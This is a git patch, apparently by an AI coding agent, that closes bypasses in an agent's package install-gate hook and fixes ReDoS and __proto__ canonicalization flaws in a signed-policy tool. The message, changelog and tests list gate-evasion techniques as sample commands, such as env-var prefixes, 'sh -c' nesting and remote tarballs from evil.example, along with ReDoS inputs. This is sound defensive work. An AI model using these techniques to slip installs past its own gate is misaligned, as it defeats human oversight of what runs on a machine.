From c2d0c7f52d9be190674e27180c2a3e3dc3da5002 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 30 Jun 2026 10:43:38 +0000 Subject: [PATCH] fix(security): close install-gate bypasses + two ReDoS + policy canonicalization gaps MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A deep adversarial pass over kit's gate surface surfaced concrete, attacker-reachable defects. This fixes all of them with a regression test each. install-gate — four bypasses that let an UNTRIAGED install through: - leading env-var assignment (`A=1 npm i evil`) defeated every matcher - package runners not matched (`npm exec`, `pnpm dlx`, `yarn dlx`, `bun x`) - remote tarball URL (`npm install https://…/x.tgz`) dropped as "local" - install hidden in a subshell / `-c` arg (`sh -c '…'`, `$(…)`, backticks) Parser now strips wrapper bins + `VAR=value`, matches the runners, treats any `scheme://` target as remote (fail-closed `unverifiable`), and recursively scans nested commands. ReDoS (CPU DoS of the gate): - GCP `"private_key"` redaction had two unbounded runs around a literal; ~18 KB of near-miss `-----END ` tokens hung ~17 s. Now a single bounded `[^"]{1,8000}` body run (linear; still matches real keys). Reachable via scan-staged / `kit memory scan` / status redaction. - `globToRegExp` compiled stacked `**`/`**/` to adjacent `.*`/`(?:.*/)?` groups; the cluster map is matched on every UserPromptSubmit, so a pulled branch's clusters.json could hang each prompt. Wildcard runs now coalesce; over-long globs are refused. Policy trust anchor — canonicalization soundness: - `sortDeep`'s `out[k]=…` silently dropped a `__proto__` key, so a `[__proto__]` table could be appended to a SIGNED policy without changing its signature ("signed bytes ≠ document"). Now assigns via defineProperty, refuses a TOML date value (Date≡string collision), validatePolicy rejects `__proto__`/`constructor`/`prototype`, verifyPolicy treats an uncanonicalizable doc as invalid (no crash), versionGte guards non-strings. All 1935 tests pass; verdict unchanged on `kit check --category security`. Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_015ERHw6bVUz39sAuoQZ1iyg --- CHANGELOG.md | 36 ++++++++++ src/install-gate.test.ts | 42 +++++++++++ src/install-gate.ts | 122 +++++++++++++++++++++++++------- src/memory/clusters.test.ts | 24 +++++++ src/memory/clusters.ts | 48 +++++++++---- src/policy-check.ts | 3 + src/policy-doc.test.ts | 33 +++++++++ src/policy-doc.ts | 41 ++++++++++- src/utils/redactSecrets.test.ts | 18 +++++ src/utils/redactSecrets.ts | 9 ++- 10 files changed, 334 insertions(+), 42 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6203fea1..fd8b02f7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,42 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/). ## [Unreleased] +### Security + +- **Install-gate: closed four bypasses that let an untriaged install through.** A + deep adversarial pass found the `PreToolUse` install-gate's command parser could + be defeated by (1) a leading env-var assignment — `A=1 npm i evil` tokenized so + no matcher fired; (2) package runners it didn't know — `npm exec` / `pnpm dlx` / + `yarn dlx` / `bun x`; (3) a remote tarball URL — `npm install https://…/x.tgz` + was dropped as a "local" target on its extension alone; and (4) an install hidden + in a subshell or `-c` arg — `sh -c '…'`, `$(…)`, backticks. The parser now strips + leading wrapper bins + `VAR=value` assignments, matches the runners, treats any + `scheme://` target as remote (→ fail-closed `unverifiable`), and recursively scans + nested commands. A regression test pins each bypass. +- **ReDoS: the GCP private-key redaction pattern no longer hangs on a small hostile + input.** `"private_key"` was matched with two unbounded runs around a literal, so + a blob of near-miss `-----END ` tokens backtracked catastrophically (~18 KB hung + ~17 s) — a CPU DoS of the gate reachable via `scan-staged`, `kit memory scan`, and + status redaction. The body is now a single bounded `[^"]{1,8000}` run ending at the + close quote (linear; still matches real keys). +- **ReDoS: `globToRegExp` (memory clusters) collapses stacked wildcards.** A + malicious committed `.kit/shared/clusters.json` glob of many `**`/`**/` compiled to + adjacent `.*`/`(?:.*/)?` groups that backtracked catastrophically — and the cluster + map is matched on every `UserPromptSubmit`, so a pulled branch could hang the agent + on each prompt. Consecutive wildcard runs now coalesce to a single non-stacking + group and an over-long glob is refused (matches nothing). +- **Policy trust anchor: canonical signing bytes now cover every key faithfully.** + `sortDeep` rebuilt objects with `out[k] = …`, so a `__proto__` key was a prototype + write that silently dropped the key+subtree — letting a `[__proto__]` table be + appended to a SIGNED `.kit-policy.toml` without changing its signature/fingerprint + ("signed bytes ≠ document"). It now assigns via `defineProperty` (the key is a real + own property in the bytes), refuses a TOML **date** value (no faithful canonical + form → a Date≡string collision), `validatePolicy` rejects `__proto__`/`constructor`/ + `prototype` keys, `verifyPolicy` treats an uncanonicalizable doc as `invalid` instead + of crashing, and `versionGte` is guarded against a non-string. No global prototype + pollution existed (Node `JSON.parse`/`smol-toml` create an own property); this hardens + canonicalization soundness. + ### Fixed - **Air-gap completeness: the update check no longer egresses by default under diff --git a/src/install-gate.test.ts b/src/install-gate.test.ts index 6a52b73e..db2d0453 100644 --- a/src/install-gate.test.ts +++ b/src/install-gate.test.ts @@ -137,6 +137,48 @@ describe("parseInstallCommand — detection", () => { }); }); +// Adversarial bypasses found in the deep security pass — each defeated every +// matcher before the fix and let an untriaged install through. Regression-locked. +describe("parseInstallCommand — bypass resistance (security)", () => { + it("CRIT-1: a leading env-var assignment does not hide the install", () => { + // `A=1 npm i evil` tokenized to t[0]="A=1" → no matcher fired → ALLOWED. + assert.deepEqual(parseInstallCommand("A=1 npm i evil").refs, ["npm:evil"]); + assert.deepEqual(parseInstallCommand("FOO=bar BAZ=2 pip install evil").refs, ["pip:evil"]); + assert.deepEqual(parseInstallCommand("env X=1 npm i evil").refs, ["npm:evil"]); + assert.deepEqual(parseInstallCommand("sudo npm i evil").refs, ["npm:evil"]); + }); + + it("CRIT-2: package runners (npm exec / pnpm dlx / yarn dlx / bun x) are gated", () => { + assert.deepEqual(parseInstallCommand("npm exec evil").refs, ["npm:evil"]); + assert.deepEqual(parseInstallCommand("pnpm dlx evil").refs, ["npm:evil"]); + assert.deepEqual(parseInstallCommand("yarn dlx evil").refs, ["npm:evil"]); + assert.deepEqual(parseInstallCommand("bun x evil").refs, ["npm:evil"]); + assert.deepEqual(parseInstallCommand("pnpm exec evil").refs, ["npm:evil"]); + }); + + it("CRIT-3: a remote tarball URL is unverifiable (fail-closed), not 'local'", () => { + const p = parseInstallCommand("npm install https://evil.example/pkg.tgz"); + assert.equal(p.isInstall, true); + assert.deepEqual(p.refs, []); + assert.equal(p.unverifiable.length, 1, "remote .tgz must NOT be dropped as a local target"); + // a genuinely local tarball/wheel path is still ignored + assert.deepEqual(parseInstallCommand("pip install ./dist/foo.whl").refs, []); + assert.deepEqual(parseInstallCommand("npm i ./pkg.tgz").refs, []); + }); + + it("HIGH-1: an install hidden in a subshell / -c arg is still detected", () => { + assert.deepEqual(parseInstallCommand("sh -c 'npm i evil'").refs, ["npm:evil"]); + assert.deepEqual(parseInstallCommand('bash -c "pip install evil"').refs, ["pip:evil"]); + assert.deepEqual(parseInstallCommand("echo $(npm i evil)").refs, ["npm:evil"]); + assert.deepEqual(parseInstallCommand("x=`pip install evil`").refs, ["pip:evil"]); + }); + + it("quoted package names are handled (no false-positive block)", () => { + assert.deepEqual(parseInstallCommand("npm i 'express'").refs, ["npm:express"]); + assert.deepEqual(parseInstallCommand('npm i "lodash@4"').refs, ["npm:lodash"]); + }); +}); + // Fake triage: pass everything except names in `blocklist`. function fakeDeps(blocklist: string[] = []): GateDeps { return { diff --git a/src/install-gate.ts b/src/install-gate.ts index a1830767..5979248f 100644 --- a/src/install-gate.ts +++ b/src/install-gate.ts @@ -38,15 +38,67 @@ function isFlag(tok: string): boolean { return tok.startsWith("-"); } +/** Strip one layer of matching surrounding quotes from a token (`'pkg'` → `pkg`). */ +function stripQuotes(tok: string): string { + const m = tok.match(/^(['"])([\s\S]*)\1$/); + return m ? m[2] : tok; +} + +/** + * Wrapper binaries that prefix a real command without changing what it is + * (`env FOO=bar npm i x`, `sudo npm i x`). We strip a leading run of these plus + * any `VAR=value` env assignments so the matcher sees the actual package manager. + * A bare `VAR=value npm i evil` would otherwise tokenize to t[0]="VAR=value" and + * defeat every matcher — a full gate bypass. + */ +const PREFIX_BINS = new Set(["env", "sudo", "command", "exec", "nice", "time", "nohup"]); + +/** Drop leading wrapper bins + `VAR=value` env assignments, returning the real argv. */ +function stripCommandPrefix(tokens: string[]): string[] { + let i = 0; + while (i < tokens.length) { + const t = tokens[i]; + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(t)) { + i++; // VAR=value env assignment + continue; + } + if (PREFIX_BINS.has(t)) { + i++; + while (i < tokens.length && tokens[i].startsWith("-")) i++; // skip the wrapper's own flags + continue; + } + break; + } + return tokens.slice(i); +} + +/** + * Commands hidden inside a subshell (`$(…)`, backticks) or a shell `-c` argument + * (`sh -c 'npm i evil'`). The segment splitter doesn't recurse into these, so an + * install smuggled through a wrapper would slip past. We extract the inner command + * text (bounded, to stay linear-time on hostile input) and gate it like a + * top-level one. Fail-closed. + */ +function nestedCommands(command: string): string[] { + const out: string[] = []; + for (const m of command.matchAll(/\$\(([^()]{1,2000})\)/g)) out.push(m[1]); + for (const m of command.matchAll(/`([^`]{1,2000})`/g)) out.push(m[1]); + for (const m of command.matchAll(/-c\s+(['"])([\s\S]{1,2000}?)\1/g)) out.push(m[2]); + return out; +} + /** * A token is a LOCAL target (the user's own code / a file), not a registry * package — skip it (there is no reputation to triage). Covers `.`/`..`, relative - * and absolute paths, home-relative, tarballs/wheels. + * and absolute paths, home-relative, tarballs/wheels. A token with a URL scheme + * (`https://…/pkg.tgz`, `git+ssh://…`) is REMOTE, never local — it must NOT be + * dropped here (it can't be triaged → fail-closed `unverifiable`). */ function isLocalTarget(tok: string): boolean { if (tok === "." || tok === "..") return true; + if (/:\/\//.test(tok)) return false; // remote URL — not local, gate it if (/^[./~]/.test(tok)) return true; // ./x ../x /abs ~/x - if (/\.(tgz|tar\.gz|whl)$/i.test(tok)) return true; + if (/\.(tgz|tar\.gz|whl)$/i.test(tok)) return true; // a local tarball/wheel path return false; } @@ -88,11 +140,18 @@ const MATCHERS: Matcher[] = [ return -1; }, }, - // npx — executes a package immediately (high risk) + // package runners that fetch + execute immediately (high risk): npx/bunx , + // npm exec , pnpm dlx|exec , yarn dlx|exec , bun x . { scheme: "npm", toName: npmName, - argStart: (t) => (t[0] === "npx" || t[0] === "bunx" ? 1 : -1), + argStart: (t) => { + if (t[0] === "npx" || t[0] === "bunx") return 1; + if (t[0] === "npm" && t[1] === "exec") return 2; + if ((t[0] === "pnpm" || t[0] === "yarn") && (t[1] === "dlx" || t[1] === "exec")) return 2; + if (t[0] === "bun" && t[1] === "x") return 2; + return -1; + }, }, // pip/pip3 install, pipx install, uv pip install, uv add, python -m pip install { @@ -124,31 +183,46 @@ export function parseInstallCommand(command: string): InstallProbe { const probe: InstallProbe = { isInstall: false, refs: [], unverifiable: [] }; if (!command || typeof command !== "string") return probe; - for (const segment of command.split(SEGMENT_SPLIT)) { - const tokens = segment.trim().split(/\s+/).filter(Boolean); - if (tokens.length === 0) continue; - for (const m of MATCHERS) { - const start = m.argStart(tokens); - if (start < 0) continue; - const args = tokens.slice(start).filter((t) => !isFlag(t)); - // No package args → reinstall of already-declared deps (or a runner with no - // pkg). Not an "add"; don't gate. - if (args.length === 0) break; - probe.isInstall = true; - for (const arg of args) { - if (isLocalTarget(arg)) continue; // user's own code — nothing to triage - const name = m.toName(arg); - if (name) probe.refs.push(`${m.scheme}:${name}`); - else probe.unverifiable.push(arg); // fail-closed: can't reduce to a ref - } - break; // one matcher per segment - } + // Scan the command AND any commands hidden in $(…)/backticks/`-c '…'`, bounded + // so a wrapper (`sh -c '…'`, `$(…)`) can't smuggle an install past the splitter. + const seen = new Set(); + const queue: string[] = [command]; + while (queue.length > 0 && seen.size < 64) { + const cmd = queue.shift()!; + if (seen.has(cmd)) continue; + seen.add(cmd); + queue.push(...nestedCommands(cmd)); + for (const segment of cmd.split(SEGMENT_SPLIT)) scanSegment(segment, probe); } - // De-dup refs (npm i a a, or a && a) + + // De-dup (npm i a a, or a && a). probe.refs = [...new Set(probe.refs)]; + probe.unverifiable = [...new Set(probe.unverifiable)]; return probe; } +/** Match one shell segment against the package-manager matchers, mutating `probe`. */ +function scanSegment(segment: string, probe: InstallProbe): void { + const tokens = stripCommandPrefix(segment.trim().split(/\s+/).filter(Boolean).map(stripQuotes)); + if (tokens.length === 0) return; + for (const m of MATCHERS) { + const start = m.argStart(tokens); + if (start < 0) continue; + const args = tokens.slice(start).filter((t) => !isFlag(t)); + // No package args → reinstall of already-declared deps (or a runner with no + // pkg). Not an "add"; don't gate. + if (args.length === 0) break; + probe.isInstall = true; + for (const arg of args) { + if (isLocalTarget(arg)) continue; // user's own code — nothing to triage + const name = m.toName(arg); + if (name) probe.refs.push(`${m.scheme}:${name}`); + else probe.unverifiable.push(arg); // fail-closed: can't reduce to a ref + } + break; // one matcher per segment + } +} + export interface BashGateVerdict { block: boolean; reason: string; diff --git a/src/memory/clusters.test.ts b/src/memory/clusters.test.ts index 2b352cf8..77e3d602 100644 --- a/src/memory/clusters.test.ts +++ b/src/memory/clusters.test.ts @@ -30,6 +30,30 @@ describe("memory clusters — glob matching (gap #3)", () => { assert.match("x.ts", globToRegExp("**/x.ts")); assert.match("a/b/x.ts", globToRegExp("**/x.ts")); }); + + // A malicious committed clusters.json (a pulled branch can carry one) of stacked + // wildcards compiled to adjacent `.*`/`(?:.*/)?` groups → catastrophic backtracking + // on every prompt (the map is matched on each UserPromptSubmit). Runs collapse now. + it("does not backtrack catastrophically on stacked wildcards (ReDoS-safe)", () => { + const cases = ["*".repeat(80) + "z", "**/".repeat(50) + "z", "**".repeat(60) + "z"]; + for (const g of cases) { + const re = globToRegExp(g); + const t0 = process.hrtime.bigint(); + re.test("a".repeat(100)); // a non-matching path → forces the worst case + re.test("a/".repeat(80) + "b"); + const ms = Number(process.hrtime.bigint() - t0) / 1e6; + assert.ok(ms < 50, `glob "${g.slice(0, 12)}…" took ${ms.toFixed(1)}ms — should be <50ms`); + } + // collapsing keeps semantics: stacked ** still matches across segments + assert.match("a/b/c/z", globToRegExp("**/**/z")); + assert.match("z", globToRegExp("**/**/z")); + }); + + it("refuses an over-long glob (matches nothing) rather than compiling it", () => { + const re = globToRegExp("a".repeat(2000)); + assert.doesNotMatch("a".repeat(2000), re); + assert.equal(re.source, "(?!)"); + }); }); describe("memory clusters — path → area", () => { diff --git a/src/memory/clusters.ts b/src/memory/clusters.ts index 8d5c1b21..903f0153 100644 --- a/src/memory/clusters.ts +++ b/src/memory/clusters.ts @@ -43,30 +43,52 @@ export function readClusters(root: string): ClusterMap { const GLOB_SPECIALS = /[.+^${}()|[\]\\]/g; +/** A regex that never matches anything (for a glob we refuse to compile). */ +const NEVER = /(?!)/; + /** * Compile a glob to an anchored RegExp. `**` spans path segments (incl. `/`), * `*` matches within one segment, `?` one non-slash char. `**\/` matches zero or * more leading segments so `**\/x` matches both `x` and `a/b/x`. + * + * ReDoS-safe: a whole run of consecutive `*` collapses to a SINGLE wildcard and + * adjacent cross-segment wildcards are coalesced, so a hostile committed glob + * like `**********…x` (this map is a committed file — a pulled branch can carry a + * malicious one) can never emit stacked cross-segment wildcard groups, which + * backtrack catastrophically. An over-long glob is refused (matches nothing). */ export function globToRegExp(glob: string): RegExp { + if (glob.length > 1024) return NEVER; // not a real path pattern — don't compile it let re = "^"; let i = 0; + // True right after we emit a cross-segment wildcard, so a following `**`/`**/` + // run adds nothing and is coalesced (never stacked → no adjacent `.*`). + let pendingStarStar = false; while (i < glob.length) { - if (glob.startsWith("**/", i)) { - re += "(?:.*/)?"; - i += 3; - } else if (glob.startsWith("**", i)) { - re += ".*"; - i += 2; - } else if (glob[i] === "*") { - re += "[^/]*"; - i += 1; - } else if (glob[i] === "?") { + const ch = glob[i]; + if (ch === "*") { + let stars = 0; + while (glob[i] === "*") { + stars++; + i++; + } + if (stars >= 2) { + const slash = glob[i] === "/"; + if (slash) i++; + if (!pendingStarStar) re += slash ? "(?:.*/)?" : ".*"; + pendingStarStar = true; + } else { + re += "[^/]*"; + pendingStarStar = false; + } + } else if (ch === "?") { re += "[^/]"; - i += 1; + i++; + pendingStarStar = false; } else { - re += glob[i].replace(GLOB_SPECIALS, "\\$&"); - i += 1; + re += ch.replace(GLOB_SPECIALS, "\\$&"); + i++; + pendingStarStar = false; } } return new RegExp(re + "$"); diff --git a/src/policy-check.ts b/src/policy-check.ts index c4772133..fb817715 100644 --- a/src/policy-check.ts +++ b/src/policy-check.ts @@ -34,6 +34,9 @@ export interface PolicyEvalReport { /** current ≥ required, comparing dotted numeric segments. Pure. */ export function versionGte(current: string, required: string): boolean { + // Guard against a non-string slipping in (a malformed policy where a TOML date + // reached here) — never throw inside the gate. + if (typeof current !== "string" || typeof required !== "string") return false; const a = current.split(/[.+-]/).map((n) => parseInt(n, 10) || 0); const b = required.split(/[.+-]/).map((n) => parseInt(n, 10) || 0); for (let i = 0; i < Math.max(a.length, b.length); i++) { diff --git a/src/policy-doc.test.ts b/src/policy-doc.test.ts index ce2fd76f..50339318 100644 --- a/src/policy-doc.test.ts +++ b/src/policy-doc.test.ts @@ -69,6 +69,39 @@ describe("policy-doc — canonical bytes (stable signing input)", () => { policyFingerprint({ version: 1, require_triage: false }), ); }); + + // sortDeep used `out[k] = …`, so a `__proto__` key was a prototype write that + // silently dropped the key+subtree — an attacker could append a `[__proto__]` + // table to a SIGNED policy without changing its signing bytes. The canonical + // form must now cover every own key faithfully. + it("does not silently drop a `__proto__` key from the signing bytes", () => { + const benign = { version: 1, require_triage: true }; + // JSON.parse yields an OWN enumerable `__proto__` property (like smol-toml does + // for a `[__proto__]` table) — distinct from the `{__proto__: …}` literal. + const smuggled = JSON.parse( + '{"version":1,"require_triage":true,"__proto__":{"require_triage":false}}', + ); + assert.notEqual( + canonicalPolicyBytes(benign), + canonicalPolicyBytes(smuggled), + "a smuggled __proto__ table must change the signing bytes", + ); + assert.match(canonicalPolicyBytes(smuggled), /__proto__/); + // and no global prototype pollution as a side effect + assert.equal(({} as Record).require_triage, undefined); + }); + + it("refuses a date value (no faithful canonical form → Date≡string collision)", () => { + assert.throws( + () => canonicalPolicyBytes({ version: 1, min_kit_version: new Date("2020-01-01") }), + /date/i, + ); + }); + + it("validatePolicy rejects prototype-manipulating keys", () => { + const doc = JSON.parse('{"version":1,"__proto__":{"x":1}}'); + assert.match(validatePolicy(doc).errors.join(), /forbidden key/); + }); }); describe("policy-doc — sign/verify roundtrip over canonical bytes", () => { diff --git a/src/policy-doc.ts b/src/policy-doc.ts index 5baf5426..3c5347c3 100644 --- a/src/policy-doc.ts +++ b/src/policy-doc.ts @@ -84,6 +84,12 @@ export function validatePolicy(doc: unknown): PolicyValidation { return { ok: false, errors: ["policy is not a TOML table"] }; } const d = doc as Record; + // Refuse prototype-manipulating keys outright — they have no place in a policy + // and a `__proto__` table is exactly what the canonical-bytes hardening guards + // against (see sortDeep). Defense-in-depth: reject at the schema layer too. + for (const k of ["__proto__", "constructor", "prototype"]) { + if (Object.prototype.hasOwnProperty.call(d, k)) errors.push(`forbidden key \`${k}\``); + } if (d.version === undefined) { errors.push("missing required `version`"); } else if (typeof d.version !== "number" || !Number.isInteger(d.version)) { @@ -121,10 +127,28 @@ export function validatePolicy(doc: unknown): PolicyValidation { function sortDeep(v: unknown): unknown { if (Array.isArray(v)) return v.map(sortDeep); + // A non-plain object (Date, bigint via typeof, etc.) has no faithful canonical + // JSON form: a TOML date and the equivalent string would serialize to identical + // bytes, so two semantically different policies could share one signature. Refuse + // it — the document must be plain string/number/boolean/array/table. + if (v instanceof Date) { + throw new Error("policy contains a date value; use a quoted string instead"); + } if (v && typeof v === "object") { const out: Record = {}; for (const k of Object.keys(v as Record).sort()) { - out[k] = sortDeep((v as Record)[k]); + const value = sortDeep((v as Record)[k]); + // Assign via defineProperty so a `__proto__` (or `constructor`) key becomes a + // real OWN, enumerable property included in the canonical bytes. A plain + // `out[k] = …` would treat `out["__proto__"] = …` as a prototype write and + // silently DROP the key+subtree — letting an attacker append a `[__proto__]` + // table to a signed policy without changing its signing bytes. + Object.defineProperty(out, k, { + value, + enumerable: true, + writable: true, + configurable: true, + }); } return out; } @@ -134,7 +158,8 @@ function sortDeep(v: unknown): unknown { /** * Canonical signing bytes: JSON of the recursively key-sorted document. Stable * across TOML reformatting / comment edits / key reordering — only a real policy - * change moves the bytes (and thus invalidates a signature). + * change moves the bytes (and thus invalidates a signature). Throws on a document + * that has no faithful canonical form (e.g. a TOML date value). */ export function canonicalPolicyBytes(doc: unknown): string { return JSON.stringify(sortDeep(doc)); @@ -186,7 +211,17 @@ export function verifyPolicy(root: string, opts: { key?: string } = {}): PolicyV } catch { return { status: "unsigned", detail: "no .kit-policy.sig (run kit policy sign)" }; } - const fingerprint = policyFingerprint(doc); + let fingerprint: string; + try { + fingerprint = policyFingerprint(doc); + } catch (e) { + // Document has no faithful canonical form (e.g. a date value) — it can't be + // soundly signed or verified. Treat as invalid, never crash the gate. + return { + status: "invalid", + detail: e instanceof Error ? e.message : "uncanonicalizable policy", + }; + } const anchored = hasPolicyAnchor(root); // Resolve the signer key, in trust order: an explicit --key pin, then this // machine's own identity (the author verifying their own policy), then the diff --git a/src/utils/redactSecrets.test.ts b/src/utils/redactSecrets.test.ts index 48d55c1e..735b54a1 100644 --- a/src/utils/redactSecrets.test.ts +++ b/src/utils/redactSecrets.test.ts @@ -55,6 +55,24 @@ describe("redactSecrets — connection-string + sk-svcacct (regression)", () => assert.ok(!out.includes("AAAA"), "service-account key must be redacted"); assert.ok(out.includes("[REDACTED]")); }); + + // The GCP private-key pattern had two unbounded runs around a literal, so a blob + // of near-miss `-----END ` tokens backtracked catastrophically (~18 KB hung ~17 s) + // — a CPU DoS reachable via scan-staged / memory scan / status redaction. + it("scans a hostile GCP-key-shaped blob in linear time (ReDoS-safe)", () => { + const payload = '"private_key": "-----BEGIN K-----' + "-----END ".repeat(3000); // ~27 KB + const t0 = process.hrtime.bigint(); + redactSecrets(payload); + findSecrets(payload); + const ms = Number(process.hrtime.bigint() - t0) / 1e6; + assert.ok(ms < 200, `GCP-shaped blob scanned in ${ms.toFixed(0)}ms — should be <200ms`); + }); + + it("still redacts a real GCP private_key value", () => { + const real = + '"private_key": "-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQ\\n-----END PRIVATE KEY-----\\n"'; + assert.ok(redactSecrets(real).includes("[REDACTED]")); + }); }); describe("redactSecrets", () => { diff --git a/src/utils/redactSecrets.ts b/src/utils/redactSecrets.ts index 3fad9a10..2063a136 100644 --- a/src/utils/redactSecrets.ts +++ b/src/utils/redactSecrets.ts @@ -35,9 +35,14 @@ export const SECRET_PATTERNS: RedactPattern[] = [ // AWS — AKIA + 16 uppercase, ASIA + 16 (STS), and 40-char secret keys { re: /\b(AKIA|ASIA)[A-Z0-9]{16}\b/g, label: "aws-access-key" }, { re: /aws_secret_access_key\s*=\s*[A-Za-z0-9/+]{40}/gi, label: "aws-secret-key" }, - // Google / GCP service-account JSON fragments + // Google / GCP service-account JSON fragments. A `"private_key"` value is ONE + // double-quoted JSON string, so the body is a single bounded `[^"]` run ending + // at the close quote — NOT two variable-length runs (`[^"]+ … [\s\S]+? … [^"]+`) + // separated by a literal, which backtracks catastrophically: a ~18 KB blob of + // near-miss `-----END ` tokens hung the old pattern for ~17 s (ReDoS / CPU DoS + // of the scan). Bounded {1,8000} covers a 4096-bit PEM with escaped newlines. { - re: /"private_key":\s*"-----BEGIN [^"]+-----[\s\S]+?-----END [^"]+-----\\n"/g, + re: /"private_key":\s*"-----BEGIN [^"]{1,8000}-----END [^"]{0,200}-----\\n"/g, label: "gcp-private-key", }, { re: /\bAIza[0-9A-Za-z\-_]{35}\b/g, label: "google-api-key" },